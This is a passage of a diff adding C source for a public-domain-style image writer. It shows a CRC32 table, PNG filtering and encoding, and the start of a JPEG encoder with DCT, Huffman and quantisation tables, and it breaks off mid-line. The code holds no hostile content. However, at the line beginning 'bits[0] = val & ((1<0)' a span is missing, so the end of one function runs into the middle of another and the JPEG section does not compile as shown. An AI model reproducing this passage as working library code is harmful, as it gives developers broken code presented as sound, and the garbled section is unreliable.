0xE963A535, 0x9E6495A3, + 0x0eDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D + }; + + unsigned int crc = ~0u; + int i; + for (i=0; i < len; ++i) + crc = (crc >> 8) ^ crc_table[buffer[i] ^ (crc & 0xff)]; + return ~crc; +#endif +} + +#define stbiw__wpng4(o,a,b,c,d) ((o)[0]=STBIW_UCHAR(a),(o)[1]=STBIW_UCHAR(b),(o)[2]=STBIW_UCHAR(c),(o)[3]=STBIW_UCHAR(d),(o)+=4) +#define stbiw__wp32(data,v) stbiw__wpng4(data, (v)>>24,(v)>>16,(v)>>8,(v)); +#define stbiw__wptag(data,s) stbiw__wpng4(data, s[0],s[1],s[2],s[3]) + +static void stbiw__wpcrc(unsigned char **data, int len) +{ + unsigned int crc = stbiw__crc32(*data - len - 4, len+4); + stbiw__wp32(*data, crc); +} + +static unsigned char stbiw__paeth(int a, int b, int c) +{ + int p = a + b - c, pa = abs(p-a), pb = abs(p-b), pc = abs(p-c); + if (pa <= pb && pa <= pc) return STBIW_UCHAR(a); + if (pb <= pc) return STBIW_UCHAR(b); + return STBIW_UCHAR(c); +} + +// @OPTIMIZE: provide an option that always forces left-predict or paeth predict +static void stbiw__encode_png_line(unsigned char *pixels, int stride_bytes, int width, int height, int y, int n, int filter_type, signed char *line_buffer) +{ + static int mapping[] = { 0,1,2,3,4 }; + static int firstmap[] = { 0,1,0,5,6 }; + int *mymap = (y != 0) ? mapping : firstmap; + int i; + int type = mymap[filter_type]; + unsigned char *z = pixels + stride_bytes * (stbi__flip_vertically_on_write ? height-1-y : y); + int signed_stride = stbi__flip_vertically_on_write ? -stride_bytes : stride_bytes; + + if (type==0) { + memcpy(line_buffer, z, width*n); + return; + } + + // first loop isn't optimized since it's just one pixel + for (i = 0; i < n; ++i) { + switch (type) { + case 1: line_buffer[i] = z[i]; break; + case 2: line_buffer[i] = z[i] - z[i-signed_stride]; break; + case 3: line_buffer[i] = z[i] - (z[i-signed_stride]>>1); break; + case 4: line_buffer[i] = (signed char) (z[i] - stbiw__paeth(0,z[i-signed_stride],0)); break; + case 5: line_buffer[i] = z[i]; break; + case 6: line_buffer[i] = z[i]; break; + } + } + switch (type) { + case 1: for (i=n; i < width*n; ++i) line_buffer[i] = z[i] - z[i-n]; break; + case 2: for (i=n; i < width*n; ++i) line_buffer[i] = z[i] - z[i-signed_stride]; break; + case 3: for (i=n; i < width*n; ++i) line_buffer[i] = z[i] - ((z[i-n] + z[i-signed_stride])>>1); break; + case 4: for (i=n; i < width*n; ++i) line_buffer[i] = z[i] - stbiw__paeth(z[i-n], z[i-signed_stride], z[i-signed_stride-n]); break; + case 5: for (i=n; i < width*n; ++i) line_buffer[i] = z[i] - (z[i-n]>>1); break; + case 6: for (i=n; i < width*n; ++i) line_buffer[i] = z[i] - stbiw__paeth(z[i-n], 0,0); break; + } +} + +STBIWDEF unsigned char *stbi_write_png_to_mem(const unsigned char *pixels, int stride_bytes, int x, int y, int n, int *out_len) +{ + int force_filter = stbi_write_force_png_filter; + int ctype[5] = { -1, 0, 4, 2, 6 }; + unsigned char sig[8] = { 137,80,78,71,13,10,26,10 }; + unsigned char *out,*o, *filt, *zlib; + signed char *line_buffer; + int j,zlen; + + if (stride_bytes == 0) + stride_bytes = x * n; + + if (force_filter >= 5) { + force_filter = -1; + } + + filt = (unsigned char *) STBIW_MALLOC((x*n+1) * y); if (!filt) return 0; + line_buffer = (signed char *) STBIW_MALLOC(x * n); if (!line_buffer) { STBIW_FREE(filt); return 0; } + for (j=0; j < y; ++j) { + int filter_type; + if (force_filter > -1) { + filter_type = force_filter; + stbiw__encode_png_line((unsigned char*)(pixels), stride_bytes, x, y, j, n, force_filter, line_buffer); + } else { // Estimate the best filter by running through all of them: + int best_filter = 0, best_filter_val = 0x7fffffff, est, i; + for (filter_type = 0; filter_type < 5; filter_type++) { + stbiw__encode_png_line((unsigned char*)(pixels), stride_bytes, x, y, j, n, filter_type, line_buffer); + + // Estimate the entropy of the line using this filter; the less, the better. + est = 0; + for (i = 0; i < x*n; ++i) { + est += abs((signed char) line_buffer[i]); + } + if (est < best_filter_val) { + best_filter_val = est; + best_filter = filter_type; + } + } + if (filter_type != best_filter) { // If the last iteration already got us the best filter, don't redo it + stbiw__encode_png_line((unsigned char*)(pixels), stride_bytes, x, y, j, n, best_filter, line_buffer); + filter_type = best_filter; + } + } + // when we get here, filter_type contains the filter type, and line_buffer contains the data + filt[j*(x*n+1)] = (unsigned char) filter_type; + STBIW_MEMMOVE(filt+j*(x*n+1)+1, line_buffer, x*n); + } + STBIW_FREE(line_buffer); + zlib = stbi_zlib_compress(filt, y*( x*n+1), &zlen, stbi_write_png_compression_level); + STBIW_FREE(filt); + if (!zlib) return 0; + + // each tag requires 12 bytes of overhead + out = (unsigned char *) STBIW_MALLOC(8 + 12+13 + 12+zlen + 12); + if (!out) return 0; + *out_len = 8 + 12+13 + 12+zlen + 12; + + o=out; + STBIW_MEMMOVE(o,sig,8); o+= 8; + stbiw__wp32(o, 13); // header length + stbiw__wptag(o, "IHDR"); + stbiw__wp32(o, x); + stbiw__wp32(o, y); + *o++ = 8; + *o++ = STBIW_UCHAR(ctype[n]); + *o++ = 0; + *o++ = 0; + *o++ = 0; + stbiw__wpcrc(&o,13); + + stbiw__wp32(o, zlen); + stbiw__wptag(o, "IDAT"); + STBIW_MEMMOVE(o, zlib, zlen); + o += zlen; + STBIW_FREE(zlib); + stbiw__wpcrc(&o, zlen); + + stbiw__wp32(o,0); + stbiw__wptag(o, "IEND"); + stbiw__wpcrc(&o,0); + + STBIW_ASSERT(o == out + *out_len); + + return out; +} + +#ifndef STBI_WRITE_NO_STDIO +STBIWDEF int stbi_write_png(char const *filename, int x, int y, int comp, const void *data, int stride_bytes) +{ + FILE *f; + int len; + unsigned char *png = stbi_write_png_to_mem((const unsigned char *) data, stride_bytes, x, y, comp, &len); + if (png == NULL) return 0; + + f = stbiw__fopen(filename, "wb"); + if (!f) { STBIW_FREE(png); return 0; } + fwrite(png, 1, len, f); + fclose(f); + STBIW_FREE(png); + return 1; +} +#endif + +STBIWDEF int stbi_write_png_to_func(stbi_write_func *func, void *context, int x, int y, int comp, const void *data, int stride_bytes) +{ + int len; + unsigned char *png = stbi_write_png_to_mem((const unsigned char *) data, stride_bytes, x, y, comp, &len); + if (png == NULL) return 0; + func(context, png, len); + STBIW_FREE(png); + return 1; +} + + +/* *************************************************************************** + * + * JPEG writer + * + * This is based on Jon Olick's jo_jpeg.cpp: + * public domain Simple, Minimalistic JPEG writer - http://www.jonolick.com/code.html + */ + +static const unsigned char stbiw__jpg_ZigZag[] = { 0,1,5,6,14,15,27,28,2,4,7,13,16,26,29,42,3,8,12,17,25,30,41,43,9,11,18, + 24,31,40,44,53,10,19,23,32,39,45,52,54,20,22,33,38,46,51,55,60,21,34,37,47,50,56,59,61,35,36,48,49,57,58,62,63 }; + +static void stbiw__jpg_writeBits(stbi__write_context *s, int *bitBufP, int *bitCntP, const unsigned short *bs) { + int bitBuf = *bitBufP, bitCnt = *bitCntP; + bitCnt += bs[1]; + bitBuf |= bs[0] << (24 - bitCnt); + while(bitCnt >= 8) { + unsigned char c = (bitBuf >> 16) & 255; + stbiw__putc(s, c); + if(c == 255) { + stbiw__putc(s, 0); + } + bitBuf <<= 8; + bitCnt -= 8; + } + *bitBufP = bitBuf; + *bitCntP = bitCnt; +} + +static void stbiw__jpg_DCT(float *d0p, float *d1p, float *d2p, float *d3p, float *d4p, float *d5p, float *d6p, float *d7p) { + float d0 = *d0p, d1 = *d1p, d2 = *d2p, d3 = *d3p, d4 = *d4p, d5 = *d5p, d6 = *d6p, d7 = *d7p; + float z1, z2, z3, z4, z5, z11, z13; + + float tmp0 = d0 + d7; + float tmp7 = d0 - d7; + float tmp1 = d1 + d6; + float tmp6 = d1 - d6; + float tmp2 = d2 + d5; + float tmp5 = d2 - d5; + float tmp3 = d3 + d4; + float tmp4 = d3 - d4; + + // Even part + float tmp10 = tmp0 + tmp3; // phase 2 + float tmp13 = tmp0 - tmp3; + float tmp11 = tmp1 + tmp2; + float tmp12 = tmp1 - tmp2; + + d0 = tmp10 + tmp11; // phase 3 + d4 = tmp10 - tmp11; + + z1 = (tmp12 + tmp13) * 0.707106781f; // c4 + d2 = tmp13 + z1; // phase 5 + d6 = tmp13 - z1; + + // Odd part + tmp10 = tmp4 + tmp5; // phase 2 + tmp11 = tmp5 + tmp6; + tmp12 = tmp6 + tmp7; + + // The rotator is modified from fig 4-8 to avoid extra negations. + z5 = (tmp10 - tmp12) * 0.382683433f; // c6 + z2 = tmp10 * 0.541196100f + z5; // c2-c6 + z4 = tmp12 * 1.306562965f + z5; // c2+c6 + z3 = tmp11 * 0.707106781f; // c4 + + z11 = tmp7 + z3; // phase 5 + z13 = tmp7 - z3; + + *d5p = z13 + z2; // phase 6 + *d3p = z13 - z2; + *d1p = z11 + z4; + *d7p = z11 - z4; + + *d0p = d0; *d2p = d2; *d4p = d4; *d6p = d6; +} + +static void stbiw__jpg_calcBits(int val, unsigned short bits[2]) { + int tmp1 = val < 0 ? -val : val; + val = val < 0 ? val-1 : val; + bits[1] = 1; + while(tmp1 >>= 1) { + ++bits[1]; + } + bits[0] = val & ((1<0)&&(DU[end0pos]==0); --end0pos) { + } + // end0pos = first element in reverse order !=0 + if(end0pos == 0) { + stbiw__jpg_writeBits(s, bitBuf, bitCnt, EOB); + return DU[0]; + } + for(i = 1; i <= end0pos; ++i) { + int startpos = i; + int nrzeroes; + unsigned short bits[2]; + for (; DU[i]==0 && i<=end0pos; ++i) { + } + nrzeroes = i-startpos; + if ( nrzeroes >= 16 ) { + int lng = nrzeroes>>4; + int nrmarker; + for (nrmarker=1; nrmarker <= lng; ++nrmarker) + stbiw__jpg_writeBits(s, bitBuf, bitCnt, M16zeroes); + nrzeroes &= 15; + } + stbiw__jpg_calcBits(DU[i], bits); + stbiw__jpg_writeBits(s, bitBuf, bitCnt, HTAC[(nrzeroes<<4)+bits[1]]); + stbiw__jpg_writeBits(s, bitBuf, bitCnt, bits); + } + if(end0pos != 63) { + stbiw__jpg_writeBits(s, bitBuf, bitCnt, EOB); + } + return DU[0]; +} + +static int stbi_write_jpg_core(stbi__write_context *s, int width, int height, int comp, const void* data, int quality) { + // Constants that don't pollute global namespace + static const unsigned char std_dc_luminance_nrcodes[] = {0,0,1,5,1,1,1,1,1,1,0,0,0,0,0,0,0}; + static const unsigned char std_dc_luminance_values[] = {0,1,2,3,4,5,6,7,8,9,10,11}; + static const unsigned char std_ac_luminance_nrcodes[] = {0,0,2,1,3,3,2,4,3,5,5,4,4,0,0,1,0x7d}; + static const unsigned char std_ac_luminance_values[] = { + 0x01,0x02,0x03,0x00,0x04,0x11,0x05,0x12,0x21,0x31,0x41,0x06,0x13,0x51,0x61,0x07,0x22,0x71,0x14,0x32,0x81,0x91,0xa1,0x08, + 0x23,0x42,0xb1,0xc1,0x15,0x52,0xd1,0xf0,0x24,0x33,0x62,0x72,0x82,0x09,0x0a,0x16,0x17,0x18,0x19,0x1a,0x25,0x26,0x27,0x28, + 0x29,0x2a,0x34,0x35,0x36,0x37,0x38,0x39,0x3a,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x53,0x54,0x55,0x56,0x57,0x58,0x59, + 0x5a,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6a,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7a,0x83,0x84,0x85,0x86,0x87,0x88,0x89, + 0x8a,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9a,0xa2,0xa3,0xa4,0xa5,0xa6,0xa7,0xa8,0xa9,0xaa,0xb2,0xb3,0xb4,0xb5,0xb6, + 0xb7,0xb8,0xb9,0xba,0xc2,0xc3,0xc4,0xc5,0xc6,0xc7,0xc8,0xc9,0xca,0xd2,0xd3,0xd4,0xd5,0xd6,0xd7,0xd8,0xd9,0xda,0xe1,0xe2, + 0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9,0xea,0xf1,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8,0xf9,0xfa + }; + static const unsigned char std_dc_chrominance_nrcodes[] = {0,0,3,1,1,1,1,1,1,1,1,1,0,0,0,0,0}; + static const unsigned char std_dc_chrominance_values[] = {0,1,2,3,4,5,6,7,8,9,10,11}; + static const unsigned char std_ac_chrominance_nrcodes[] = {0,0,2,1,2,4,4,3,4,7,5,4,4,0,1,2,0x77}; + static const unsigned char std_ac_chrominance_values[] = { + 0x00,0x01,0x02,0x03,0x11,0x04,0x05,0x21,0x31,0x06,0x12,0x41,0x51,0x07,0x61,0x71,0x13,0x22,0x32,0x81,0x08,0x14,0x42,0x91, + 0xa1,0xb1,0xc1,0x09,0x23,0x33,0x52,0xf0,0x15,0x62,0x72,0xd1,0x0a,0x16,0x24,0x34,0xe1,0x25,0xf1,0x17,0x18,0x19,0x1a,0x26, + 0x27,0x28,0x29,0x2a,0x35,0x36,0x37,0x38,0x39,0x3a,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x53,0x54,0x55,0x56,0x57,0x58, + 0x59,0x5a,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6a,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7a,0x82,0x83,0x84,0x85,0x86,0x87, + 0x88,0x89,0x8a,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9a,0xa2,0xa3,0xa4,0xa5,0xa6,0xa7,0xa8,0xa9,0xaa,0xb2,0xb3,0xb4, + 0xb5,0xb6,0xb7,0xb8,0xb9,0xba,0xc2,0xc3,0xc4,0xc5,0xc6,0xc7,0xc8,0xc9,0xca,0xd2,0xd3,0xd4,0xd5,0xd6,0xd7,0xd8,0xd9,0xda, + 0xe2,0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9,0xea,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8,0xf9,0xfa + }; + // Huffman tables + static const unsigned short YDC_HT[256][2] = { {0,2},{2,3},{3,3},{4,3},{5,3},{6,3},{14,4},{30,5},{62,6},{126,7},{254,8},{510,9}}; + static const unsigned short UVDC_HT[256][2] = { {0,2},{1,2},{2,2},{6,3},{14,4},{30,5},{62,6},{126,7},{254,8},{510,9},{1022,10},{2046,11}}; + static const unsigned short YAC_HT[256][2] = { + {10,4},{0,2},{1,2},{4,3},{11,4},{26,5},{120,7},{248,8},{1014,10},{65410,16},{65411,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {12,4},{27,5},{121,7},{502,9},{2038,11},{65412,16},{65413,16},{65414,16},{65415,16},{65416,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {28,5},{249,8},{1015,10},{4084,12},{65417,16},{65418,16},{65419,16},{65420,16},{65421,16},{65422,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {58,6},{503,9},{4085,12},{65423,16},{65424,16},{65425,16},{65426,16},{65427,16},{65428,16},{65429,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {59,6},{1016,10},{65430,16},{65431,16},{65432,16},{65433,16},{65434,16},{65435,16},{65436,16},{65437,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {122,7},{2039,11},{65438,16},{65439,16},{65440,16},{65441,16},{65442,16},{65443,16},{65444,16},{65445,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {123,7},{4086,12},{65446,16},{65447,16},{65448,16},{65449,16},{65450,16},{65451,16},{65452,16},{65453,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {250,8},{4087,12},{65454,16},{65455,16},{65456,16},{65457,16},{65458,16},{65459,16},{65460,16},{65461,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {504,9},{32704,15},{65462,16},{65463,16},{65464,16},{65465,16},{65466,16},{65467,16},{65468,16},{65469,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {505,9},{65470,16},{65471,16},{65472,16},{65473,16},{65474,16},{65475,16},{65476,16},{65477,16},{65478,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {506,9},{65479,16},{65480,16},{65481,16},{65482,16},{65483,16},{65484,16},{65485,16},{65486,16},{65487,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {1017,10},{65488,16},{65489,16},{65490,16},{65491,16},{65492,16},{65493,16},{65494,16},{65495,16},{65496,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {1018,10},{65497,16},{65498,16},{65499,16},{65500,16},{65501,16},{65502,16},{65503,16},{65504,16},{65505,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {2040,11},{65506,16},{65507,16},{65508,16},{65509,16},{65510,16},{65511,16},{65512,16},{65513,16},{65514,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {65515,16},{65516,16},{65517,16},{65518,16},{65519,16},{65520,16},{65521,16},{65522,16},{65523,16},{65524,16},{0,0},{0,0},{0,0},{0,0},{0,0}, + {2041,11},{65525,16},{65526,16},{65527,16},{65528,16},{65529,16},{65530,16},{65531,16},{65532,16},{65533,16},{65534,16},{0,0},{0,0},{0,0},{0,0},{0,0} + }; + static const unsigned short UVAC_HT[256][2] = { + {0,2},{1,2},{4,3},{10,4},{24,5},{25,5},{56,6},{120,7},{500,9},{1014,10},{4084,12},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {11,4},{57,6},{246,8},{501,9},{2038,11},{4085,12},{65416,16},{65417,16},{65418,16},{65419,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {26,5},{247,8},{1015,10},{4086,12},{32706,15},{65420,16},{65421,16},{65422,16},{65423,16},{65424,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {27,5},{248,8},{1016,10},{4087,12},{65425,16},{65426,16},{65427,16},{65428,16},{65429,16},{65430,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {58,6},{502,9},{65431,16},{65432,16},{65433,16},{65434,16},{65435,16},{65436,16},{65437,16},{65438,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {59,6},{1017,10},{65439,16},{65440,16},{65441,16},{65442,16},{65443,16},{65444,16},{65445,16},{65446,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {121,7},{2039,11},{65447,16},{65448,16},{65449,16},{65450,16},{65451,16},{65452,16},{65453,16},{65454,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {122,7},{2040,11},{65455,16},{65456,16},{65457,16},{65458,16},{65459,16},{65460,16},{65461,16},{65462,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {249,8},{65463,16},{65464,16},{65465,16},{65466,16},{65467,16},{65468,16},{65469,16},{65470,16},{65471,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {503,9},{65472,16},{65473,16},{65474,16},{65475,16},{65476,16},{65477,16},{65478,16},{65479,16},{65480,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {504,9},{65481,16},{65482,16},{65483,16},{65484,16},{65485,16},{65486,16},{65487,16},{65488,16},{65489,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {505,9},{65490,16},{65491,16},{65492,16},{65493,16},{65494,16},{65495,16},{65496,16},{65497,16},{65498,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {506,9},{65499,16},{65500,16},{65501,16},{65502,16},{65503,16},{65504,16},{65505,16},{65506,16},{65507,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {2041,11},{65508,16},{65509,16},{65510,16},{65511,16},{65512,16},{65513,16},{65514,16},{65515,16},{65516,16},{0,0},{0,0},{0,0},{0,0},{0,0},{0,0}, + {16352,14},{65517,16},{65518,16},{65519,16},{65520,16},{65521,16},{65522,16},{65523,16},{65524,16},{65525,16},{0,0},{0,0},{0,0},{0,0},{0,0}, + {1018,10},{32707,15},{65526,16},{65527,16},{65528,16},{65529,16},{65530,16},{65531,16},{65532,16},{65533,16},{65534,16},{0,0},{0,0},{0,0},{0,0},{0,0} + }; + static const int YQT[] = {16,11,10,16,24,40,51,61,12,12,14,19,26,58,60,55,14,13,16,24,40,57,69,56,14,17,22,29,51,87,80,62,18,22, + 37,56,68,109,103,77,24,35,55,64,81,104,113,92,49,64,78,87,103,121,120,101,72,92,95,98,112,100,103,99}; + static const int UVQT[] = {17,18,24,47,99,99,99,99,18,21,26,66,99,99,99,99,24,26,56,99,99,99,99,99,47,66,99,99,99,99,99,99, + 99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99}; + static const float aasf[] = { 1.0f * 2.828427125f, 1.387039845f * 2.828427125f, 1.306562965f * 2.828427125f, 1.175875602f * 2.828427125f, + 1.0f * 2.828427125f, 0.785694958f * 2.828427125f, 0.541196100f * 2.828427125f, 0.275899379f * 2.828427125f }; + + int row, col, i, k, subsample; + float fdtbl_Y[64], fdtbl_UV[64]; + unsigned char YTable[64], UVTable[64]; + + if(!data || !width || !height || comp > 4 || comp < 1) { + return 0; + } + + quality = quality ? quality : 90; + subsample = quality <= 90 ? 1 : 0; + quality = quality < 1 ? 1 : quality > 100 ? 100 : quality; + quality = quality < 50 ? 5000 / quality : 200 - quality * 2; + + for(i = 0; i < 64; ++i) { + int uvti, yti = (YQT[i]*quality+50)/100; + YTable[stbiw__jpg_ZigZag[i]] = (unsigned char) (yti < 1 ? 1 : yti > 255 ? 255 : yti); + uvti = (UVQT[i]*quality+50)/100; + UVTable[stbiw__jpg_ZigZag[i]] = (unsigned char) (uvti < 1 ? 1 : uvti > 255 ? 255 : uvti); + } + + for(row = 0, k = 0; row < 8; ++row) { + for(col = 0; col < 8; ++col, ++k) { + fdtbl_Y[k] = 1 / (YTable [stbiw__jpg_ZigZag[k]] * aasf[row] * aasf[col]); + fdtbl_UV[k] = 1 / (UVTable[stbiw__jpg_ZigZag[k]] * aasf[row] * aasf[col]); + } + } + + // Write Headers + { + static const unsigned char head0[] = { 0xFF,0xD8,0xFF,0xE0,0,0x10,'J','F','I','F',0,1,1,0,0,1,0,1,0,0,0xFF,0xDB,0,0x84,0 }; + static const unsigned char head2[] = { 0xFF,0xDA,0,0xC,3,1,0,2,0x11,3,0x11,0,0x3F,0 }; + const unsigned char head1[] = { 0xFF,0xC0,0,0x11,8,(unsigned char)(height>>8),STBIW_UCHAR(height),(unsigned char)(width>>8),STBIW_UCHAR(width), + 3,1,(unsigned char)(subsample?0x22:0x11),0,2,0x11,1,3,0x11,1,0xFF,0xC4,0x01,0xA2,0 }; + s->func(s->context, (void*)head0, sizeof(head0)); + s->func(s->context, (void*)YTable, sizeof(YTable)); + stbiw__putc(s, 1); + s->func(s->context, UVTable, sizeof(UVTable)); + s->func(s->context, (void*)head1, sizeof(head1)); + s->func(s->context, (void*)(std_dc_luminance_nrcodes+1), sizeof(std_dc_luminance_nrcodes)-1); + s->func(s->context, (void*)std_dc_luminance_values, sizeof(std_dc_luminance_values)); + stbiw__putc(s, 0x10); // HTYACinfo + s->func(s->context, (void*)(std_ac_luminance_nrcodes+1), sizeof(std_ac_luminance_nrcodes)-1); + s->func(s->context, (void*)std_ac_luminance_values, sizeof(std_ac_luminance_values)); + stbiw__putc(s, 1); // HTUDCinfo + s->func(s->context, (void*)(std_dc_chrominance_nrcodes+1), sizeof(std_dc_chrominance_nrcodes)-1); + s->func(s->context, (void*)std_dc_chrominance_values, sizeof(std_dc_chrominance_values)); + stbiw__putc(s, 0x11); // HTUACinfo + s->func(s->context, (void*)(std_ac_chrominance_nrcodes+1), sizeof(std_ac_chrominance_nrcodes)-1); + s->func(s->context, (void*)std_ac_chrominance_values, sizeof(std_ac_chrominance_values)); + s->func(s->context, (void*)head2, sizeof(head2)); + } + + // Encode 8x8 macroblocks + { + static const unsigned short fillBits[] = {0x7F, 7}; + int DCY=0, DCU=0, DCV=0; + int bitBuf=0, bitCnt=0; + // comp == 2 is grey+alpha (alpha is ignored) + int ofsG = comp > 2 ? 1 : 0, ofsB = comp > 2 ? 2 : 0; + const unsigned char *dataR = (const unsigned char *)data; + const unsigned char *dataG = dataR + ofsG; + const unsigned char *dataB = dataR + ofsB; + int x, y, pos; + if(subsample) { + for(y = 0; y < height; y += 16) { + for(x = 0; x < width; x += 16) { + float Y[256], U[256], V[256]; + for(row = y, pos = 0; row < y+16; ++row) { + // row >= height => use last input row + int clamped_row = (row < height) ? row : height - 1; + int base_p = (stbi__flip_vertically_on_write ? (height-1-clamped_row) : clamped_row)*width*comp; + for(col = x; col < x+16; ++col, ++pos) { + // if col >= width => use pixel from last input column + int p = base_p + ((col < width) ? col : (width-1))*comp; + float r = dataR[p], g = dataG[p], b = dataB[p]; + Y[pos]= +0.29900f*r + 